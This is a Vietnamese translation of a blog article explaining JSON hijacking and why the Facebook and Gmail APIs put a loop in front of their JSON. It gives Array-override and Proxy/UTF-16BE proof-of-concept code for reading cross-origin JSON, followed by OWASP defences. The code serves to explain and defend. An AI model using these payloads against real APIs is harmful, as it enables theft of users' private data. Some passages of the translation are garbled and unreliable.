Tại sao API của Facebook lại bắt đầu bằng một for loop?

17155

Nếu bạn đã từng kiểm tra các yêu cầu của mình đối với API của công ty lớn trong trình duyệt, bạn có thể đã nhận thấy một số javascript lạ trước chính JSON:

Facebook:  Facebook

Gmail:       Facebook

Tại sao họ sẽ lãng phí vài byte để vô hiệu JSON này?

Nói về API: Làm sao để bảo vệ dữ liệu của bạn

Nếu không có những byte quan trọng, nó có thể cho bất kỳ trang web truy cập dữ liệu này.

Lỗ hổng này được gọi là JSON hijacking, và cho phép các trang web trích xuất dữ liệu JSON từ các API đó.

Nguồn gốc

Trong JavaScript 1.5 và các phiên bản trước đó, có thể ghi đè lên constructor của Primitive Object và có phiên bản ghi đè này được gọi khi sử dụng ký hiệu ngoặc.

Điều này có nghĩa là bạn có thể làm:

function Array(){
    alert('You created an array!');
}
var x = [1,2,3];

Và cảnh báo sẽ bật lên!

Thay thế var x bằng tập lệnh sau, và kẻ tấn công có thể đọc email của bạn!

<script src="https://gmail.com/messages"></script>

Trích xuất dữ liệu

Mặc dù bạn đang ghi đè hàm tạo, mảng vẫn được xây dựng và bạn vẫn có thể truy cập nó qua this.

Đây là một đoạn mã sẽ cảnh báo tất cả các mảng dữ liệu:

function Array() {
  var that = this;
  var index = 0;
  // Populating the array with setters, which dump the value when called
  var valueExtractor = function(value) {
    // Alert the value
    alert(value);
    // Set the next index to use this method as well
    that.__defineSetter__(index.toString(),valueExtractor );
    index++;
  };
  // Set the setter for item 0
  that.__defineSetter__(index.toString(),valueExtractor );
  index++;
}

Khi tạo mảng, giá trị của chúng sẽ được cảnh báo!

Điều này đã được sửa trong đề xuất ECMAScript 4 , vì bây giờ chúng ta không còn có thể ghi đè prototype của hầu hết các nguyên thủy, chẳng hạn như Object Array.

  React Context API và các Higher-order Components

Mặc dù ES4 chưa bao giờ được phát hành, lỗ hổng này đã được sửa chữa bởi các trình duyệt chính ngay sau khi phát hiện ra nó.

Bạn vẫn có thể có hành vi tương tự trong javascript ngày nay, nhưng nó bị giới hạn trong các biến mà bạn tạo hoặc các mục tạo không sử dụng ký hiệu ngoặc.

Đây sẽ là phiên bản được điều chỉnh của payload trước đó:

// Making an array
const x = [];

// Making the overriden methods
x.copy = [];
const extractor = (v) => {
    // Keeping the value in a different array
    x.copy.push(v);
    // Setting the extractor for the next value
    const currentIndex = x.copy.length;
    x.__defineSetter__(currentIndex, extractor);
    x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]);
    // Logging the value
    console.log('Extracted value', v);
};

// Assigning the setter on index 0 
x.__defineSetter__(0, extractor);
x.__defineGetter__(0, ()=>x.copy[0]);


// Using the array as usual

x[0] = 'zero';
x[1] = 'one';

console.log(x[0]);
console.log(x[1]);

Và đây sẽ là một phiên bản sử dụng từ khóa Array để tạo mảng của bạn:

function Array(){
    console.log(arguments);
}

Array("secret","values");

Như bạn có thể thấy, dữ liệu bạn đã thêm vào mảng đã nhập, trong khi chức năng vẫn giữ nguyên!

Việc sửa chữa chính nó không phải là để ngăn chặn việc tạo function Array trong chính nó, nhưng để buộc ký hiệu ngoặc đơn của các mục tạo ra để sử dụng việc triển khai gốc, và không phải là chức năng tùy chỉnh của bạn.

Điều này có nghĩa là chúng ta vẫn có thể tạo một hàm Array, nhưng nó sẽ không được sử dụng với dấu ngoặc vuông ([1,2,3]). 

Nó vẫn sẽ được gọi nếu chúng ta sử dụng ký hiệu x = new Array(1,2,3) hoặc x = Array(1,2,3) mặc dù, nhưng điều này không giúp chúng ta với việc JSON hijacking.

Các biến thể hiện đại

Được rồi, vì vậy chúng tôi biết các phiên bản cũ của trình duyệt đã bị tấn công trong một thời gian trước đây. 
Điều này có ý nghĩa gì đối với chúng ta ngày nay?

Vâng, với bản phát hành gần đây của EcmaScript 6, các tính năng juicy mới đã được thêm vào như Proxies!

Gareth Heyes từ Portswigger đã viết ra một biến thể hiện đại của cuộc tấn công này, điều này vẫn cho phép chúng tôi lấy cắp dữ liệu từ các điểm cuối JSON!

Sử dụng Proxy thay vì Accessors cho phép chúng tôi đánh cắp bất kỳ biến nào được tạo ra, bất kể tên của nó là gì. 
Nó có thể hoạt động giống như một accessor nhưng đối với bất kỳ thuộc tính truy cập hoặc viết nào.

Sử dụng điều này và một cách khác, có thể ăn cắp dữ liệu một lần nữa!

UTF-16BE là một bộ ký tự nhiều byte và do đó hai byte sẽ thực sự tạo thành một ký tự. Ví dụ: nếu tập lệnh của bạn bắt đầu bằng [“điều này sẽ được coi là ký tự 0x5b22 không phải là 0x5b 0x22. 0x5b22 là biến JavaScript hợp lệ =). Bạn có thấy không điều này sẽ xảy ra?

Sử dụng như một kịch bản:

<script charset="UTF-16BE" src="external-script-with-array-literal"></script>

Với một chút dữ liệu được kiểm soát từ kịch bản này, cũng như các bit thực tế  chuyển đổi kịch bản để làm cho điều này một lần nữa rõ ràng, chúng tôi có thể exfiltrate dữ liệu một lần nữa!

Đây là POC cạnh cuối cùng của anh ấy, được lấy từ bài đăng trên blog của anh ấy:

<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
    has:function(target,name){
        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

Vì tôi sẽ không giải thích phương pháp của anh ta sâu, tôi khuyên bạn nên đọc bài viết của anh ấy để biết thêm thông tin.

Phòng tránh

Dưới đây là các khuyến nghị chính thức của OWASP, được lấy từ AJAX security cheat sheet

  • Sử dụng CSRF Protection
    Điều này ngăn cản việc khai thác bằng cách không trả lại dữ liệu nếu tiêu đề bảo mật hoặc mã thông báo csrf không có mặt.
  • Luôn trả về JSON với một đối tượng ở bên ngoài

Giải pháp cuối cùng này là thú vị.

Trong Firefox và IE, vì một số lý do, điều này là hợp lệ:

x = [{"key":"value"}]
x = {"key":"value"}
[{"key":"value"}]
{key: "value"}

Nhưng cái này thì không”

{"key":"value"}

Lý do tại sao nó không hợp lệ là Firefox và IE xem xét các dấu ngoặc đơn để bắt đầu một câu lệnh khối và không phải là tạo đối tượng. 

Ký hiệu không có dấu ngoặc kép, {key: "value"} được coi là một nhãn, với giá trị là một câu lệnh.

Chrome, không giống như, xem xét các trường hợp đó là một đối tượng sáng tạo, và do đó nó tạo ra một đối tượng mới.

Cảm ơn Matt (r0x33d) đã giúp làm sáng tỏ điều này!

Phần kết luận

Mặc dù các vectors này có thể không hoạt động ngày hôm nay, chúng tôi không bao giờ biết lỗi mới sẽ xảy ra vào ngày mai, và do đó chúng tôi vẫn nên cố gắng hết sức để ngăn không cho API bị khai thác. 

Nếu chúng tôi lấy this StackOverflow answer , chúng tôi sẽ dễ bị tổn thương bởi các phiên bản hiện đại và do đó vẫn có thể bị tấn công.

Câu trả lời của Google và Facebook là thêm các vòng javascript hoặc vòng lặp vô hạn không hợp lệ trước dữ liệu JSON của họ, nhưng có vài lựa chọn thay thế khác được liệt kê bởi OWASP.

  Top những thuật toán machine learning mà bất cứ Data Scientist nào cũng cần phải biết (Phần 2)

Biên dịch: Trương Đình Tuấn